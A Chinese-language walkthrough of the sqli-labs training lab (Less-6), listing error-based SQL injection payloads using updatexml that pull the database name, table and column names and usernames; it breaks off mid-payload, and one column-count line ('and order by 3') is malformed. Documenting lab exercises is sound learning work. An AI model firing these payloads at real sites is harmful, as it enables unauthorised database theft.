sqli-labs闯关记录（Less6-Less10）

Less-6 bool盲注（双引号）

这里依然可以使用报错注入,与Less-5不同的是这里的报错点是双引号，就不配图了。
判断注入点

?id=1" and 1=2--+

确认字段数量

?id=1" and order by 3--+

查询当前数据库

?id=1" and updatexml('~',concat(0x7e,database(),0x7e),'~')--+

查询security内的表

?id=1" and updatexml('~',concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),'~')--+

查询security内的user表

?id=1" and updatexml('~',concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users'),0x7e),'~')--+

查询users表内的字段数据

?id=1" and updatexml('~',left(concat(0x7e,(select group_concat(username) from security.users),0x7e),32),'~')--+
?id=1" and updatexml('~',mid(concat(0x7e,(select group_concat